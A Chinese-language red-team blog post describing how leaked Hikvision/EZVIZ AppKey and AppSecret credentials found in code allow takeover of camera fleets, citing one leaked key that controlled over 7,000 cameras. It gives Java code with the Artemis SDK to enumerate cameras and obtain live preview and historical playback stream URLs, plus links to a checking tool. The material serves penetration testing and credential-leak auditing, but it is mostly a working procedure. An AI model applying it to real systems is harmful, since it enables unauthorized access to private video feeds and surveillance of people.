海康威视通过AK、SK进行身份验证,通过调用接口实现视频预览等功能。因此代码中泄露了key即可能造成摄像头集群被接管。
下面是某次攻防演习实战中遇到的hikvison凭证泄露。
某次遇到萤石一个aksk可控7000+摄像头。
海康API对接(JAVA)
https://www.freesion.com/article/60261295938/
①下载官方sdk
https://open.hikvision.com/download/5c67f1e2f05948198c909700?type=10
②IDEA新建maven项目,并将OpenAPI认证库导入maven
mvn install:install-file
-Dfile=/Users/niudai/lang/apache-maven-3.6.3/artemis-http-client-1.1.3.jar
-DgroupId=artemis-http-client
-DartifactId=hk
-Dversion=1.1.3
-Dpackaging=jar
③创建项目代码
pom.xml
增加dependencies
<dependency>
<groupId>artemis-http-client</groupId>
<artifactId>hk</artifactId>
<version>1.1.3</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
</dependencies>
DataTypeConversionUtil.java
public class DataTypeConversionUtil {
public static Map<String,Object> getStringToMap(String str){
JSONObject parseObject = JSONArray.parseObject(str);
return parseObject;
}
}
HKUtil.java
import com.alibaba.fastjson.JSONObject;
import com.hikvision.artemis.sdk.ArtemisHttpUtil;
import com.hikvision.artemis.sdk.config.ArtemisConfig;import java.util.HashMap;
import java.util.Map;/**
* 海康工具类
*/
public class HKUtil {
static {
// 代理API网关nginx服务器ip端口
ArtemisConfig.host = "220.xxx.xxx.xxx";
// 秘钥appkey
ArtemisConfig.appKey = "xxxx";
// 秘钥appSecret
ArtemisConfig.appSecret = "uxxxxx";
}
/**
* 能力开放平台的网站路径
* TODO 路径不用修改,就是/artemis
*/
private static final String ARTEMIS_PATH = "/artemis";
/**
* 通用海康接口
* 调用POST请求类型(application/json)接口*
* @return
*/
public static Map<String,Object> publicHkInterface(JSONObject jsonBody,String url){
final String getCamsApi = ARTEMIS_PATH +url;
Map<String, String> path = new HashMap<String, String>(2);
path.put("https://", getCamsApi);
// post请求application/json类型参数
String result =ArtemisHttpUtil.doPostStringArtemis(path,jsonBody.toJSONString(),null,null,"application/json",null);
return DataTypeConversionUtil.getStringToMap(result);
}/**
* 获取监控点预览取流URL
* @param id 设备编号
* @return
*/
public static Map<String,Object> camerasPreviewURLs(String id){
JSONObject jsonBody = new JSONObject();
// jsonBody.put("cameraIndexCode", id);
// jsonBody.put("protocol", "hls");、
// jsonBody.put("streamType", 0);
// jsonBody.put("protocol", "rtsp");
// jsonBody.put("transmode", 1);
// jsonBody.put("expand", "streamform=ps");
Map<String,Object> returnMap=publicHkInterface(jsonBody,"/api/video/v1/cameras/previewURLs");
return returnMap;
}/**
* API名称:
* 查询监控点列表v2
* 分组:
* 视频资源接口
* 提供方名称:
* 资源目录服务
* qps:
* 描述:根据条件查询目录下有权限的监控点列表
* @return
*/
public static Map<String,Object> cameraSearch(){
JSONObject jsonBody = new JSONObject();
jsonBody.put("pageNo", 1);
jsonBody.put("pageSize", 1000);
jsonBody.put("resourceType", "door");
Map<String,Object> returnMap=publicHkInterface(jsonBody,"/api/resource/v2/camera/search");
return returnMap;
}public static Map<String,Object> getCameraPlayBackURL(String id){
JSONObject jsonBody = new JSONObject();
jsonBody.put("cameraIndexCode", id);
// jsonBody.put("protocol", "rtsp");
jsonBody.put("beginTime", "2020-12-15T09:35:06.000+08:00");
jsonBody.put("endTime", "2021-06-17T15:00:00.000+08:00");
Map<String,Object> returnMap=publicHkInterface(jsonBody,"/api/video/v1/cameras/playbackURLs");
return returnMap;
}public static void main(String[] args) {
System.out.println(cameraSearch());
// System.out.println(camerasPreviewURLs("33068100001310938991"));
// System.out.println(getCameraPlayBackURL("33068100001310938991"));
}
}
先通过cameraSearch()
即/api/resource/v2/camera/search
接口,获取有权限的设备列表的信息。
比较重要的信息是indexCode
和regionPathName
,
获取视频流是调用camerasPreviewURLs()
即/api/video/v1/cameras/previewURLs
接口,需要传入indexCode
,根据官方文档可以设置不同的取流协议(默认是rtsp)。
返回的视频流地址使用VLC连接即可。
项目地址
https://github.com/darkarmorlab/video-api-check
工具地址
https://github.com/darkarmorlab/video-api-check/releases/tag/v1.0
实战案例
泄漏海康威视凭证